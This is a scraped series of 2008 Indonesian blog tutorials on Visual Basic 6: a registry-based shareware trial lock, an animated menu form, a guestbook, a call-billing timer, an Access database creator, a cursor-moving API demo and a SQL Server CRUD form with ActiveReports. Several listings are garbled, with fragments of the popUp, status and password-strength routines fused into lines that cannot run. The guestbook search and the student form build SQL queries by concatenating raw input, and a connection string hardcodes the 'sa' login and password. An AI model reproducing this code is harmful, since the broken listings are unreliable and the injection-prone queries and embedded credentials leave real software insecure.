2008-12-11T16:39:00.004+07:00

Kali ini penulis akan mencoba membuat program expired/shareware yang berfungsi untuk menonaktifkan program sesuai dengan masa waktu yang sudah kita tentukan, ini adalah sebuah contoh demo yang bisa kalian kembangkan sendiri sesuai ide dan kreasi kalian.
Pemakaiannya mudah, tinggal jalankan program shareware.vbp kemudian sharetest untuk mengetes apa program tersebut sudah dibuat shareware, nah jika sudah habis masa waktunya program meminta no register dan silakan masukkan no register a1234.
Berikut bentuk tampilan programnya

script kodenya sebagai berikut :

'main form shareware

Private Sub Command1_Click()
frmshare.Show

End Sub

Private Sub Command2_Click()
Dim lresult As Long
lresult = DeleteRegKey("\Software\venky", "value")
lresult = DeleteRegKey("\Software\venky", "days")
lresult = DeleteRegKey("\Software\venky", "uses")
lresult = DeleteRegKey("\Software\venky", "lock")
lresult = DeleteRegKey("\Software", "venky")
End Sub

Private Sub Command3_Click()
Unload Me
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Dim lresult As Long

' Remove the test data from the registry

End Sub

'main form shareware

Private Sub Command1_Click()
Dim lresult As Long
Dim sKey As String
Dim sSubkey As String
Dim sSubkey1 As String
Dim sKeyValue1 As String
sKey = "\Software\venky\shareware"
frmMain.Command2.Enabled = True
If Option1(0).Value = True Then
sSubkey = "days"
If Option2(0).Value = True Then sKeyValue1 = (Date + 30)
If Option2(1).Value = True Then sKeyValue1 = (Date + 15)
If Option2(2).Value = True Then sKeyValue1 = (Date + 1)
lresult = SetRegValue(sKey, sSubkey, sKeyValue1)
lresult = SetRegValue(sKey, "value", Date)
lresult = SetRegValue(sKey, "lock", "true")
End If
If Option1(1).Value = True Then
sSubkey = "uses"
If Option2(3).Value = True Then sKeyValue1 = 1
If Option2(4).Value = True Then sKeyValue1 = 5
If Option2(5).Value = True Then sKeyValue1 = 10
lresult = SetRegValue(sKey, sSubkey, sKeyValue1)
lresult = SetRegValue(sKey, "value", "1")
lresult = SetRegValue(sKey, "lock", "true")
End If
MsgBox "Lock Made"
End Sub

Private Sub Command2_Click()
Unload Me
End Sub

Private Sub Form_Load()
If Option1(0).Value = True Then
Option2(3).Value = False
Option2(4).Value = False
Option2(5).Value = False
End If
CreateRegKey ("\Software\venky\shareware")
End Sub

Private Sub Option1_Click(Index As Integer)
If Option1(0).Value = True Then
Option2(3).Value = False
Option2(4).Value = False
Option2(5).Value = False
End If
If Option1(1).Value = True Then
Option2(0).Value = False
Option2(1).Value = False
Option2(2).Value = False
End If
End Sub

Private Sub Option2_Click(Index As Integer)
If Option2(2).Value = True Then
Option1(1).Value = False
Option1(0).Value = True
End If
If Option2(1).Value = True Then
Option1(1).Value = False
Option1(0).Value = True
End If
If Option2(0).Value = True Then
Option1(1).Value = False
Option1(0).Value = True
End If
If Option2(3).Value = True Then
Option1(0).Value = False
Option1(1).Value = True
End If
If Option2(4).Value = True Then
Option1(0).Value = False
Option1(1).Value = True
End If
If Option2(5).Value = True Then
Option1(0).Value = False
Option1(1).Value = True
End If
End Sub

'main form testshareware

Dim op4 As Integer
Dim op1 As String

Private Sub Command1_Click()
Unload Me
End Sub

Private Sub Form_Activate()
Dim lresult As Long
Dim sKeyValue As String
Dim op3 As Integer
Dim op As String
Dim op9 As Date
Dim op8 As Date
Dim op10 As Date
Dim op11 As String
lresult = GetRegValue("\Software\venky\shareware", "lock", sKeyValue)
If sKeyValue = "false" Then
Label1.Caption = "Registered Copy'"
Exit Sub
Exit Sub
End If
lresult = GetRegValue("\Software\venky\shareware", "days", sKeyValue)
If Not sKeyValue = "" Then
op = sKeyValue
op9 = op
op8 = Date
lresult = GetRegValue("\Software\venky\shareware", "value", sKeyValue)
op11 = sKeyValue
op10 = op11
If op10 > op8 Then
frmregister.Show
Exit Sub
End If
If op8 < op9 Then
Label1.Caption = (op9 - op8) & " days left"
Exit Sub
Else
frmregister.Show
End If
Else
lresult = GetRegValue("\Software\venky\shareware", "uses", sKeyValue)
op = sKeyValue
op3 = Val(op)
If op3 = 0 Then
MsgBox "Make A Lock First"
Unload frmmain
End If
lresult = GetRegValue("\Software\venky\shareware", "value", sKeyValue)
op1 = sKeyValue
op4 = Val(op1)
If op4 <= op3 Then
Label1.Caption = "This Program has been run " & op1 & " times from a maximum of " & op3 & " times"
Dim op2 As String
op4 = op4 + 1
op2 = op4
lresult = SetRegValue("\Software\venky\shareware", "value", op2)
Else
frmregister.Show
End If
End If
End Sub

'main form register

Private Sub Command1_Click()
If Text1.Text = "" Then
MsgBox "Please Enter Serial no"
Exit Sub
End If
If Text1.Text = "a1234" Then
Dim lresult As Long
lresult = SetRegValue("\Software\venky\shareware", "lock", "false")
If lresult = o Then MsgBox "Registration Successful"
Unload Me
frmmain.Show
Else: MsgBox "Bad Serial No"
End If
End Sub

Private Sub Command2_Click()
Unload Me
Unload frmmain
End Sub

Silakan coba praktekan, untuk module penulis lampirkan pada sourcecode yang bisa didownload disini

Tampilan Menu yang kereen Abezz...

2008-12-11T15:08:00.005+07:00

Membuat program agar tampil lebih menawan dan mempunyai daya jual tinggi adalah harapan semua programmer, nah semua itu terletak bagaimana tingkat kerumitan dari program tersebut dibuat, semakin rumit rumus atau logika yang dibuat semakin mahal harga jualnya, Namun tampilan dari suatu program adalah tolak ukur bagi kaum awam yang membeli program yang kita buat.Jika tampilan program yang kita buat tampil menawan meskipun tidak serumit rumus dan logikanya maka harga jualnya juga bisa jadi tinggi. Nah contoh berikut penulis membuat desain form yang menarik plus animasinya...mungkin bisa dijadikan referensi bagi vbthok mania.

Untuk code scriptnya sperti dibawah ini

'untuk main formnya
Option Explicit
Dim mlaku As String
Dim mulai As Integer

Private Sub MDIForm_Activate()
mulai = 0
mlaku = "S E L A M A T D A T A N G"
End Sub

Private Sub Timer1_Timer()
Dim sent As String
mulai = mulai + 1
If mulai > Len(mlaku) Then
mulai = 1
logo.Caption = ""
End If
sent = sent + Mid(mlaku, mulai, 1)

logo.Caption = logo.Caption + sent
End Sub

Private Sub MDIForm_Load()
With RupaToolbar
.ImageList = ImageList1
.Buttons.Item(1).Image = 4
.Buttons.Item(2).Image = 1
.Buttons.Item(3).Image = 15

.Buttons.Item(5).Image = 3
.Buttons.Item(6).Image = 11
.Buttons.Item(7).Image = 14
.Buttons.Item(8).Image = 13
.Buttons.Item(9).Image = 10

.Buttons.Item(11).Image = 16
.Buttons.Item(12).Image = 7
.Buttons.Item(13).Image = 12
.Buttons.Item(14).Image = 2

.Buttons.Item(16).Image = 8
End With

'set toolbar status
RupaToolbar.Visible = GetSetting("Bar", "MDI", "RupaToolbar.Visible", True)
mnuShowToolbar.Checked = GetSetting("Bar", "MDI", "RupaToolbar.Visible", True)
mnuAgent.Checked = GetSetting("Bar", "MDI", "mnuAgent.Checked", True)

Call Init

'Initialize Agent
MyAgent.Characters.Load "Merlin", "Merlin.Acs"
Set myCharacter = MyAgent.Characters("Merlin")

myCharacter.SoundEffectsOn = True

showMerlin
End Sub

Private Sub MDIForm_Unload(Cancel As Integer)
End
End Sub

Private Sub mnuAcct_Click()
frmAccounts.Show 1
End Sub

Private Sub mnuAgent_Click()
mnuAgent.Checked = Not mnuAgent.Checked

SaveSetting "Bar", "MDI", "mnuAgent.Checked", mnuAgent.Checked
showMerlin
End Sub

Private Sub mnuBilling_Click()
frmSales.Show

frmSales.Top = GetSetting("Bar", "frmSales", "Top", (frmMain.Height - frmSales.Height) / 3)
frmSales.Left = GetSetting("Bar", "frmSales", "Left", (frmMain.Width - frmSales.Width) / 2)
End Sub

Private Sub mnuBillingMonitor_Click()
frmBillingMonitor.Show

frmBillingMonitor.Top = GetSetting("Bar", "frmBillingMonitor", "Top", (frmMain.Height - frmBillingMonitor.Height) / 3)
frmBillingMonitor.Left = GetSetting("Bar", "frmBillingMonitor", "Left", (frmMain.Width - frmBillingMonitor.Width) / 2)
End Sub

Private Sub mnuCurrBal_Click()
Dim vAcctName As String
Dim vMsg As String
Dim vAcctNo As Integer
Dim vCurrBal As Single

vAcctNo = frmFind.getKey("Accounts", "AcctName")

If vAcctNo = -1 Then Exit Sub

vAcctName = getAcctDetailsByCode(vAcctNo)!AcctName
vCurrBal = getAcctBalance(vAcctNo)

vMsg = vAcctName & " Has a Balance of Rs : " & IIf(vCurrBal > 0, Format(Abs(vCurrBal), "0.00") & " Dr", Format(Abs(vCurrBal), "0.00") & " Cr")
Merlin vMsg, "Read"
End Sub

Private Sub mnuInward_Click()
ShowInCentre frmInward
End Sub

Private Sub mnuLedger_Click()
ShowInCentre frmLedger
End Sub

Private Sub mnuLoose_Click()
frmLoose.Show 1
End Sub

Private Sub mnuPayment_Click()
frmVoucher.Init ("Payment")
End Sub

Private Sub mnuProduct_Click()
frmProducts.Show 1
End Sub

Private Sub mnuProductUpdate_Click()
ShowInCentre frmProductsUpdate
End Sub

Private Sub mnuQuit_Click()
End
End Sub

Private Sub mnuReceipt_Click()
frmVoucher.Init ("Receipt")
End Sub

Private Sub mnuSalesSummary_Click()
frmDates.Show 1
If datesSelected Then ShowInCentre frmSalesSummary
End Sub

Private Sub mnuShowToolbar_Click()
RupaToolbar.Visible = Not RupaToolbar.Visible
mnuShowToolbar.Checked = Not mnuShowToolbar.Checked

SaveSetting "Bar", "MDI", "RupaToolbar.Visible", RupaToolbar.Visible
End Sub

Private Sub mnuStock_Click()
Call initDtEnv
rptStock.Show
End Sub

Private Sub RupaToolbar_ButtonClick(ByVal Button As MSComctlLib.Button)
Select Case Button.Key
Case "Accounts"
mnuAcct_Click

Case "Products"
mnuProduct_Click

Case "Update_Products"
mnuProductUpdate_Click

Case "Sales"
mnuBilling_Click

Case "Inward"
mnuInward_Click

Case "Receipt"
mnuReceipt_Click

Case "Payment"
mnuPayment_Click

Case "Loose"
mnuLoose_Click

Case "Ledger"
mnuLedger_Click

Case "Stock"
mnuStock_Click

Case "Sales_Summary"
mnuSalesSummary_Click

Case "Billing_Monitor"
mnuBillingMonitor_Click

Case "Quit"
mnuQuit_Click
End Select
End Sub

' untuk form splash nya
'Software license by www.Vbthok.co.cc
'Programmer by ToMee
'2008

Option Explicit

Private Sub Form_Load()

End Sub

Private Sub Timer1_Timer()
Static count As Integer
count = count + 1

If count = 1 Then
lblDisp = "Software Initialized ..."

ElseIf count = 2 Then
lblDisp = "Menyiapkan Database ..."

ElseIf count = 3 Then
lblDisp = "Menyiapkan Aplikasi..."

ElseIf count = 4 Then
lblDisp = "Wait..."

ElseIf count = 5 Then
Timer1.Enabled = False
Unload Me
frmMain.Show
frmWelcome.Show
End If
End Sub

'untuk form welcome nya
'Software license by www.Vbthok.co.cc
'Programmer by ToMee
'2008

Option Explicit

Private Sub Form_Activate()
lblTime = "Login Time : " & Time
lblDate = Format(Date, "dd-MMM-yyyy")

Call popUp
End Sub

Private Sub Form_Load()
Me.Left = Screen.Width - (Me.Width + 60)
Me.Top = Screen.Height - 600 'assumed height for taskbar
End Sub

Private Sub popUp()
Dim h As Integer

h = Me.Height
Me.Height = 0

While Me.Height < height =" Me.Height" top =" Me.Top"> 0
Me.Height = Me.Height - 1
Me.Top = Me.Top + 1
DoEvents
Wend
Unload Me
End Sub

Private Sub Timer1_Timer()
popDown
End Sub

Silakan dicoba dan silakan lihat hasilnya..keren kan?Untuk fungsi modul2nya silakan diliat sendiri dalam paket sorce code yang bisa didownload disini

Membuat Buku Tamu

2008-12-10T13:22:00.005+07:00

Program Buku Tamu ini dibuat penulis untuk memberikan contoh kepada vbthok mania supaya dapat mengembangkan ide dari program yang sudah dicontohkan, Bagi yang berpengalaman maaf ini hanya untuk pemula..hehehe...
Tampilan sekilas previewnya seperti ini

dan berikut scriptnya :

Private Sub Command1_Click()
If (Text1.Text <> "") And (Text2.Text <> "") And (Text3.Text <> "") _
And (Text4.Text <> "") Then
Adodc1.RecordSource = "select * from buku"
Adodc1.Refresh
With Adodc1.Recordset
.AddNew
!nama = Text1.Text
!alamat = Text2.Text
!pekerjaan = Text3.Text
!tlp = Text4.Text
.Update
End With
Text1.Text = ""
Text2.Text = ""
Text3.Text = ""
Text4.Text = ""
Text1.SetFocus
Else
MsgBox "data yang anda isi belum lengkap !", vbInformation + vbOKOnly, "Simpan"
Text1.SetFocus
End If
End Sub

Private Sub Command2_Click()
If Frame4.Left = 0 Then
Timer4.Enabled = True
If Frame3.Left = 7800 Then Timer1.Enabled = True
Else
If Frame3.Left = 7800 Then Timer1.Enabled = True
End If
Text1.Text = ""
Text2.Text = ""
Text3.Text = ""
Text4.Text = ""
Text1.SetFocus
End Sub

Private Sub Command3_Click()
If Frame3.Left = 0 Then
Timer2.Enabled = True
If Frame4.Left = 7800 Then Timer3.Enabled = True
Else
If Frame4.Left = 7800 Then Timer3.Enabled = True
End If
Adodc1.RecordSource = "select * from buku order by nama"
Adodc1.Refresh
Combo1.ListIndex = 0
Combo1.SetFocus
Text5.Text = ""
End Sub

Private Sub Command4_Click()
End
End Sub

Private Sub Command5_Click()
If Frame4.Left = 0 Then
Timer4.Enabled = True
If Frame3.Left = 0 Then Timer1.Enabled = True
End If
If Frame3.Left = 0 Then
Timer2.Enabled = True
If Frame4.Left = 0 Then Timer3.Enabled = True
End If
End Sub

Private Sub Form_Load()
Timer1.Enabled = False
Timer2.Enabled = False
Timer3.Enabled = False
Timer4.Enabled = False
End Sub

Private Sub Text5_Change()
If Combo1.ListIndex = 0 Then
Adodc1.RecordSource = "select * from buku where nama like'%" & _
Text5.Text & "%'"
Adodc1.Refresh

ElseIf Combo1.ListIndex = 1 Then
Adodc1.RecordSource = "select * from buku where alamat like'%" & _
Text5.Text & "%'"
Adodc1.Refresh

ElseIf Combo1.ListIndex = 2 Then
Adodc1.RecordSource = "select * from buku where pekerjaan like'%" & _
Text5.Text & "%'"
Adodc1.Refresh

ElseIf Combo1.ListIndex = 3 Then
Adodc1.RecordSource = "select * from buku where tlp like'%" & _
Text5.Text & "%'"
Adodc1.Refresh
End If
End Sub

Private Sub Timer1_Timer()
Frame3.Left = Frame3.Left - 100
If Frame3.Left = 0 Then Timer1.Enabled = False
End Sub

Private Sub Timer2_Timer()
Frame3.Left = Frame3.Left + 100
If Frame3.Left = 7800 Then Timer2.Enabled = False
End Sub

Private Sub Timer3_Timer()
Frame4.Left = Frame4.Left - 100
If Frame4.Left = 0 Then Timer3.Enabled = False
End Sub

Private Sub Timer4_Timer()
Frame4.Left = Frame4.Left + 100
If Frame4.Left = 7800 Then Timer4.Enabled = False
End Sub

so, mudah bukan...silakan kalian kembangkan sendiri..thanks
Lagi lagi yang gak mo ribet silakan download disini

Billing Wartel

2008-12-10T13:08:00.005+07:00

Nah kali ini penulis membuat contoh program billing wartel yang berfungsi menghitung jumlah uang yang harus dikeluarkan berdasarkan waktu yang digunakan untuk telpon. Untuk Penggunaan timer dengan biaya pemakaian bisa kalian atur dengan ide kalian sendiri.
Berikut bentuk form yang sudah dibuat

Dan berikut scriptnya

Dim awal As Date
Dim akhir As Date

Private Sub Cmul_Click()
awal = Time
Timer1.Enabled = True
Timer1.Interval = 1
Cmul.Enabled = False
Csel.Enabled = True
Csel.SetFocus
End Sub

Private Sub Csel_Click()
Timer1.Enabled = False
Cmul.Enabled = True
Csel.Enabled = False
Cmul.SetFocus
End Sub

Private Sub Form_Activate()
Cmul.SetFocus
End Sub

Private Sub Timer1_Timer()
Dim total As Date
Dim bayar As Integer
akhir = Time
total = akhir - awal
bayar = Round(1000000 * total)
Text1.Text = total
Text2.Text = Format(bayar, "Rp #,#")
End Sub

Mudah Sekali bukan?? Silakan kalian coba dan kembangkan sendiri dari contoh yang sudah ada.
Bagi yang tidak mau ambil pusing silakan download programnya disini

Membuat aplikasi pembuat database ( Database Creator )

2008-12-06T13:01:00.007+07:00

Kali ini penulis akan membuat aplikasi yang berfungsi untuk membuat database access dengan menggunakan visual basic. Dengan aplikasi ini diharapkan kalian bisa mengembangkan untuk membuat aplikasi yang lebih sempurna dan untuk mempermudah pembuatan database.
Berikut bentuk tampilan form, silakan kalian buat bentuk seperti contoh dibawah ini atau sesuai dengan ide yang kamu kembangkan sendiri.

Nah berikut kode scriptnya :

Dim eng As New DBEngine
Dim db As Database
Dim cn As ADODB.Connection
Dim rs As Recordset
Dim str As String
Dim fname As String
Dim fso As New FileSystemObject
' API DECLARATION OF SLEEP
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
'API FUNCTION TO OPEN OUTLOOK EXPRESS
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long

Private Sub Check1_Click()

If Check1.Value = 0 Then
txtp1.Text = ""
txtp2.Text = ""
txtp1.BackColor = &H80000011
txtp2.BackColor = &H80000011
txtp1.Locked = True
txtp2.Locked = True
lblstrength.Width = 555
lblstrength.BackColor = &H8080FF
lblstrength.Caption = "Low"
Frame3.Visible = False
txtp1.TabStop = False
txtp2.TabStop = False
Else
txtp1.SetFocus
txtp1.BackColor = vbWhite
txtp2.BackColor = vbWhite
txtp1.Locked = False
txtp2.Locked = False
txtp1.TabStop = True
txtp2.TabStop = True
End If
End Sub

Private Sub Check1_LostFocus()
If Check1.Value = 0 Then
txtp1.TabStop = False
txtp2.TabStop = False
ElseIf Check1.Value = 1 Then
txtp1.TabStop = True
txtp2.TabStop = True
End If
End Sub

Private Sub Command1_Click()
On Error GoTo handler
If txtpath <> "" Then
If Check1.Value = 1 Then
validate
Else
create_database
status
str = MsgBox("Do u want to open database ?", vbQuestion + vbYesNo, "Open ?")
If str = vbYes Then ShellExecute Me.hwnd, "open", fname, "", "", 1
End If
Else
MsgBox "Select Path for Creating Database", vbInformation, "No Path..."
Command3.SetFocus
End If
Exit Sub
handler:
If Err.Number = 3204 Then
str = MsgBox("Database already exists" & vbCrLf & "Do U want to Repalce it ?", vbInformation + vbYesNo, "File alredy exists")
If str = vbYes Then
fso.DeleteFile (txtpath)
validate
Exit Sub
Else
txtpath.Text = ""
Command3.SetFocus
End If
Else
MsgBox Err.Description, vbInformation, "Info.."
Exit Sub
End If
End Sub

Private Sub Command2_Click()
On Error GoTo handler
ShellExecute Me.hwnd, "OPEN", "mailto:tomee@indosatcommunity.com ; tom_mee@telkom.net", "", "", 1
Exit Sub
handler:
MsgBox Err.Description, vbInformation, "Info.."
End Sub

Private Sub Command3_Click()
On Error GoTo handler
CommonDialog1.DialogTitle = "Create Database..."
CommonDialog1.Filter = "MS-Access files(*.mdb)|*.mdb"
CommonDialog1.ShowSave
txtpath.Text = CommonDialog1.FileName
Exit Sub
handler:
If Err.Number = 32755 Then
MsgBox "Don't U want to create database ?", vbQuestion, "Quit ?"
Else
MsgBox Err.Description, vbInformation, "Info..."
End If
End Sub

Private Sub Command4_Click()
On Error GoTo handler
ShellExecute Me.hwnd, "open", App.Path & "\notes.txt", "", "", 1
Exit Sub
handler:
MsgBox Err.Description, vbExclamation, "Error"
End Sub

Private Sub CommandButton1_Click()
Unload Me
End Sub

Private Sub Form_Load()
StatusBar1.Panels(2).Text = "STATUS"
txtp1.BackColor = &H80000011
txtp2.BackColor = &H80000011
End Sub

Private Sub status()
Picture1.Visible = True
For i = 0 To 7
Picture1.Picture = LoadPicture(App.Path & "\pics\" & i & ".BMP")
If i < text = "Database Created" text = "Table Created" visible =" False" text = "STATUS"> "" And txtp2.Text <> "" Then
If txtp1.Text <> txtp2.Text Then
MsgBox "Password doesn't match", vbCritical, "Password Mismatch"
txtp1.Text = ""
txtp2.Text = ""
txtp1.SetFocus
Else
create_database
status
str = MsgBox("Do u want to open database ?", vbQuestion + vbYesNo, "Open ?")
If str = vbYes Then ShellExecute Me.hwnd, "open", fname, "", "", 1
End If
Else
If Check1.Value = 1 Then
MsgBox "Password Mandatory", vbCritical, "Blank Password"
If txtp1.Text = "" Then
txtp1.SetFocus
Else
txtp2.SetFocus
End If
Else
create_database
status
str = MsgBox("Do u want to open database ?", vbQuestion + vbYesNo, "Open ?")
If str = vbYes Then ShellExecute Me.hwnd, "open", fname, "", "", 1
End If
End If
End Sub

Private Sub Return_to_normal()
txtp1.Text = ""
txtp2.Text = ""
txtpath.Text = ""
txtpath.SetFocus
Check1.Value = 0
Check1_Click
lblstrength.Width = 555
lblstrength.BackColor = &H8080FF
lblstrength.Caption = "Low"
Frame3.Visible = False
End Sub

Private Sub mnuabout_Click()
Form2.Show , Me
End Sub

Private Sub mnume_Click()
Form2.Show , Me
End Sub

Private Sub txtp1_Change()
Frame3.Visible = True
If Len(txtp1.Text) <= 5 Then lblstrength.Width = 555 lblstrength.BackColor = &H8080FF lblstrength.Caption = "Low" ElseIf Len(txtp1.Text) >= 6 And Len(txtp1.Text) <= 10 Then lblstrength.Width = 900 lblstrength.BackColor = &H80FFFF lblstrength.Caption = "Medium" ElseIf Len(txtp1.Text) > 10 Then
lblstrength.Width = 1605
lblstrength.BackColor = &H80FF80
lblstrength.Caption = "Strong"
End If
End Sub

Private Sub create_database()
fname = txtpath.Text
Set db = eng.Workspaces(0).CreateDatabase(txtpath, dbLangGeneral & ";pwd=" & Trim(txtp1.Text) & ";")
db.Close
Set cn = New ADODB.Connection
cn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & txtpath.Text & ";persist security info=true ; jet oledb:database password =" & txtp1.Text & ";"
cn.Execute "create table Sample(empno number,ename text(50),sal number,date_of_birth date,date_of_joining date,constraint pk primary key(empno))"
cn.Close
End Sub

Private Sub txtp1_click()
move_focus
End Sub

Private Sub txtp2_click()
move_focus
End Sub

Private Sub move_focus()
If Check1.Value = 0 Then
Check1.SetFocus
Else
End If
End Sub

Nah selamat mencoba, bagi yang males membuat dan ingin mendownload silakan download disini

Membuat Mouse Bergerak dengan fungsi API

2008-12-06T12:13:00.004+07:00

Berikut ini penulis akan membuat sebuah contoh program sederhana yang memanfaatkan fungsi API dan dibuat dengan Visual Basic 6.0 yang akan membuat mouse bergerak gerak.

Langkah-Langkahnya :

1. Buat 1 project baru dengan 1 CommandButton, dan 1 buah timer.
2. Atur interval timer menjadi 100 dan nilai enable dibuat false pada jendela properties.
3. Ketik kode berikut ke dalam code editor form :

Option Explicit
Private Declare Function SetCursorPos Lib “user32″ (ByVal x As Long, ByVal y As Long) As Long

Dim xx As Integer
Dim yy As Integer

Private Type POINTAPI
x As Long
y As Long
End Type

Private Declare Function GetCursorPos Lib “user32″ (lpPoint As POINTAPI) As Long
Dim sh As Integer
Dim sw As Integer

Private Sub Command1_Click()
Timer1.Enabled = True
xx = Rnd * 10 + 1
yy = Rnd * 10 + 1
End Sub

Private Sub Command1_KeyDown(KeyCode As Integer, Shift As Integer)
If vbKeyEscape Then
Timer1.Enabled = False
End If
End Sub

Private Sub Timer1_Timer()
Dim pt As POINTAPI

GetCursorPos pt
’sebelum merubah kordinat posisi kursor, program harus mendapatkan terlebih
’dahulu posisi kursor berada.
sh = (Screen.Height / 15) - 1
sw = (Screen.Width / 15) - 1

If pt.x <= 0 Then xx = -xx
If pt.x >= sw Then xx = -xx
If pt.y <= 0 Then yy = -yy
If pt.y >= sh Then yy = -yy

DoEvents
pt.x = pt.x + xx
pt.y = pt.y + yy

SetCursorPos pt.x, pt.y
Label1.Caption = “Koordinat Posisi Kursor (X, Y): ” & pt.x & ” , ” & pt.y
End Sub

Fungsi API yang digunakan dalam program :

* SetCursorPos, fungsi API SetCursorPos terdapat pada file pustaka user32.dll Fungsi ini berguna untuk merubah kordinat posisi kursor.

Parameter :

x : merupakan suatu point dengan acuan kordinat sumbu x.
y : merupakan suatu point dengan acuan kordinat sumbu y.

* GetCursorPos, fungsi ini berguna untuk mendapatkan kordinat posisi kursor pada layar dengan mengembalikan nilai kordinat posisi (x,y).

Parameter :

lpPoint : merupakan deklarasi struktur POINTAPI yang berguna sebagai penerima kordinat posisi kursor pada layar. Sebelumnya kita harus mendeklarasikan Type POINT API terlebih dahulu.

visual basic + sql server + active report

2008-12-06T11:57:00.006+07:00

Ketika kita membangun sebuah aplikasi database, kita tentunya menginginkan perpaduan yang ideal antara bahasa pemrograman, database dan reporting tool. Menurut saya… untuk membangun aplikasi khususnya yang berbasis desktop, komposisi yang paling ideal adalah visual basic 6 + sql server + active report.

Dengan perpaduan tersebut, kita dapat membangun berbagai aplikasi client-server beserta reportingnya tanpa membutuhkan banyak komponen tambahan.
Untuk reporting, sebenarnya paling powerfull adalah menggunakan crystal report. Tetapi, terlalu banyak komponen yang diperlukan saat kita akan mengkompilasi dan membuat installer dari aplikasi kita. Mungkin bagi yang sudah mahir, tidak ada kesulitan dalam hal tersebut. Namun bagi pemula seperti saya tentunya akan kebingungan memilih komponen mana saja yang harus disertakan.
Ok… Langsung aja yach… dalam bagian ini saya akan mencoba berbagi dan menunjukkan pengalaman saya untuk membuat hubungan antara ketiganya.

1. Buat satu database di SQL Server 2000 dan jangan lupa untuk membuat sedikitnya satu table. Sebagai contoh database sekolah dan table siswa.

2. Bagaimana? Sudah kan? Selanjutnya kita akan beralih ke VB 6 dan hal pertama yang harus dibuat adalah modul koneksi dengan database.
3. Buka Project baru VB6 dan tambahkan satu modul ke dalamnya kemudian ketikkan kode berikut :

Public koneksi as adodb.connection
Public sub konekdb()
Set koneksi=new ADODB.connection
With koneksi
.CommandTimeout = 300
.CursorLocation = adUseClient
.ConnectionString = strCon
.Open "Provider=SQLOLEDB.1;" & _
"Data Source=(local);" & _
"Initial Catalog=sekolah;" & _
"User ID=sa;" & _
"Password=passwordsauser;" & _
"Persist Security Info=True;" & _
"OLE DB Services = -2;"
End With
If err.Number Then
MsgBox "Gagal menghubungi komputer Inven!" & vbNewLine & err.Description, vbOKOnly + vbCritical
Exit sub
End If
End sub

O ya.. tambahkan juga reference Microsoft ActiveX Data Objects 2.x Library
4. Tambahkan modul satu lagi untuk menampung kode state form dan kodenya :

Public Enum FormState
adStateAddMode = 0
adStateEditMode = 1
adStatePopupMode = 2
End Enum

5. Kalau sudah kita buka form1 dan letakkan beberapa komponen diantaranya
-1 listview
-5 textbox
-6 command button
-1 masked box
dengan default name nya aja dan atur posisinya seperti ini

6. Create satu active report dengan klik kanan pada project1 pilih add--> Data Dynamics ActiveReports2.0 kemudian tambahkan komponen sebagai berikut :

Dan beberapa label seperti pada gambar ini :

7. Kemudian pada form1 ketikkan kode berikut :

Dim WithEvents rs As ADODB.Recordset
Public state As FormState
Private Sub Command1_Click()
kosongfield
releasefield
Text1.SetFocus
SetButtons False
Me.state = adStateAddMode
End Sub

Private Sub Command2_Click()
releasefield
SetButtons False
Me.state = adStateEditMode
End Sub

Private Sub Command3_Click()
Dim strsqldel As String
On Error Resume Next
strsqldel = "delete from tblsiswa where nis='" & ListView1.SelectedItem.Text & "'"
If ListView1.SelectedItem.Text = "" Then
MsgBox "Tidak ada rekord yang akan dihapus", vbInformation, "Informasi"
Else
X = MsgBox("Apakah anda yakin ingin menghapus data secara permanen? ", vbExclamation + vbYesNo, "konfirmasi")
If X = vbYes Then
koneksi.Execute strsqldel
rs.Requery
Call Form_Load
Else
End If
End If
End Sub

Private Sub Command4_Click()
On Error Resume Next
If Me.state = adStateAddMode Then
strkueri = "insert into tblsiswa values('" & Text1.Text & "', " & _
" '" & Text2.Text & "'," & _
" '" & Text3.Text & "'," & _
" '" & Me.MaskEdBox1.Text & "'," & _
" '" & Text5.Text & "')"
pesan = "Data berhasil ditambahkan"
ElseIf Me.state = adStateEditMode Then
strkueri = "update tblsiswa set nis='" & Text1.Text & "'," & _
" nama= '" & Text2.Text & "', " & _
" tempat_lahir='" & Text3.Text & "'," & _
" tanggal_lahir= '" & MaskEdBox1.Text & "'," & _
" agama= '" & Text5.Text & "'where nis='" & ListView1.SelectedItem.Text & "'"
pesan = "Data berhasil diedit"
End If
koneksi.Execute strkueri
MsgBox "" & pesan, vbInformation, "Informasi"
'refreshrekord
SetButtons True
Call Form_Load
End Sub

Private Sub Command5_Click()
Call Form_Load
End Sub

Private Sub Command6_Click()
End
End Sub

Private Sub Command7_Click()
With ActiveReport1.DataControl1
.CursorLocation = koneksi.CursorLocation
.CursorType = ddADOOpenDynamic
.ConnectionString = koneksi.ConnectionString
.Source = "select * from tblsiswa"
End With
ActiveReport1.Show
End Sub

Private Sub Form_Load()
On Error Resume Next
konekdb
Set rs = New ADODB.Recordset
rs.Open "select * from tblsiswa", koneksi
ListView1.ListItems.Clear
If rs.RecordCount <> 0 Then
filltext
isilist
kuncifield
SetButtons True
Else
End If
End Sub
Sub filltext()
Text1.Text = rs!nis
Text2.Text = rs!nama
Text3.Text = rs!tempat_lahir
MaskEdBox1.Mask = ""
Me.MaskEdBox1.Text = rs!tanggal_lahir
Text5.Text = rs!agama
Dim ListVwItem As MSComctlLib.ListItem
Dim Value As String
Dim Value2 As String
Value = rs!nis
For Each ListVwItem In ListView1.ListItems
If Trim(ListVwItem.Text) = Trim(Value) Then 'find complete words
ListVwItem.Selected = True
ListVwItem.EnsureVisible
Exit For
End If
Next
End Sub
Sub isilist()
On Error Resume Next
With rs
For i = 0 To rs.Fields.Count
ListView1.ColumnHeaders.Add i + 1, , rs.Fields(i).Name
Next i
.MoveFirst
Do While Not .EOF
Set LI = ListView1.ListItems.Add(, , Trim(!nis))
LI.SubItems(1) = Trim(!nama)
LI.SubItems(2) = Trim(!tempat_lahir)
LI.SubItems(3) = Trim(!tanggal_lahir)
LI.SubItems(4) = Trim(!agama)
.MoveNext
Loop

End With
End Sub
Sub kosongfield()
On Error Resume Next
Dim txt As Control
'clear the text boxes
For Each txt In Me
If TypeOf txt Is TextBox Then txt.Text = ""
Next
Me.MaskEdBox1.Text = ""
MaskEdBox1.Mask = "##/##/####"
End Sub
Sub kuncifield()
On Error Resume Next
Dim txt As Control
'Locked the text boxes
For Each txt In Me
